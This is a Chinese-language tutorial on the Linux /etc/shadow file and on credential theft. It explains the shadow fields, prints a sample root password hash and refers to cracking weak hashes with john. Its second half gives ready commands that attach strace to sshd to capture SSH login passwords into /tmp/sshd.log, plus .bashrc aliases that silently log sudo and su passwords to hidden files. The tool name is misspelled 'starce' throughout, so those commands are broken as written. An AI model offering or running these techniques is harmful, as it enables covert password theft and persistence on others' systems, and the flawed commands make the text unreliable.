目录
shadow文件详解
1.Shadow文件的组成与作用
2.破解Shadow文件内容
利用strace记录密码
shadow文件
1.Shadow文件的组成与作用
在Linux中,/etc/shadow文件又被称为“影子文件”,主要用于存储Linux文件系统中的用户凭据信息。该文件只能由root权限用户操作,我们可以执行cat /etc/shadow来查看shadow文件内容:
重点在最后一行代码,它被分为了9段,各个段的内容说明如下:
-
用户名:这个字段包含用户的登录名,用于标识用户的身份。
-
加密密码:这个字段包含经过加密后的用户密码。实际的密码并不直接存储在这个文件中,而是经过加密后的密文。
-
上次修改密码日期:这个字段包含用户密码最后一次修改的日期,以天数表示。
-
密码最小修改间隔:这个字段表示两次修改密码之间的最小间隔,以天数表示。如果用户在这段时间内修改密码,系统会拒绝修改。
-
密码最大使用期限:这个字段表示密码的最大使用期限,以天数表示。超过这个期限后,用户需要修改密码。
-
密码过期警告期限:这个字段表示密码过期前的警告期限,以天数表示。在密码过期前指定的天数内,系统会提醒用户修改密码。
-
密码失效日期:这个字段表示密码失效的日期,以天数表示。超过这个日期后,用户将无法登录系统。
-
帐号失效日期:这个字段表示帐号失效的日期,以天数表示。超过这个日期后,用户将无法登录系统。
-
保留字段:这个字段是保留字段,目前未被使用,通常为空或包含一些系统保留信息。
例如:
root:$6$ltMA.KzRjM5KtHfw$nZDcIGLFIO90nDa7FzgATw2z5VDCp25cZmoaVU6Qye47drny4PBTOGJvUI6RxNyWhXQpGCTGH.R0Yl7c5fZ
UH0::0:99999:7:::
2.破解Shadow文件内容
如果用户设置的密码过于简单,则即便是加密了也没有什么用,此时攻击者可以使用john工具通过碰撞的方式来破解加密内容,到那时需要具有root用户权限来读取shadow文件。
在Kail中可以将某一行的内容写入到txt文件中,然后执行下面命令来解密:
可以看到,并没有解密,因此并不是所有的密文都可以解密的
注:没有该工具可以直接使用apt-get/yum进行下载
利用strace记录密码
Strace是一个很好用的系统调用跟踪工具,我们可以将该工具附加到程序进程中,来获取该进行的系统调用及参数,但是攻击者也可以通过该工具监听与凭证相关的可执行文件来获取凭据内容
strace不是系统自带的,需要下载:
yum install strace
安装完成后,执行下面命令来开启strace并记录ssh凭据,当目标使用ssh登录后,凭据就会保存在/tmp/sshd.log中
starce -f -F -p `ps aux| grep "sshd -D"|grep -v grep|awk {"print $2"}` -t -e trace=read,write -s 32 2> /tmp/sshd.log
最后再通过下列命令来读取凭据:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log
除此之外还可以利用Strace记录sudo与su的凭据信息,使用命令别名的方式是将sudo与strace进行捆绑,在执行sudo的同时会调用starce进行记录
先执行命令vim ~/.bashrc添加命令别名,添加的代码如下:
alias sudo='starce -f -e trace=read,write -o /tmp/.sudo-`date ' +%d%h%m%s'`.log -s 32 sudo'
alias su='starce -f -e trace=read,write -o /tmp/.su-`date ' +%d%h%m%s'`.log -s 32 su'
写入内容后,执行命令来使别名生效
source ~/.bashrc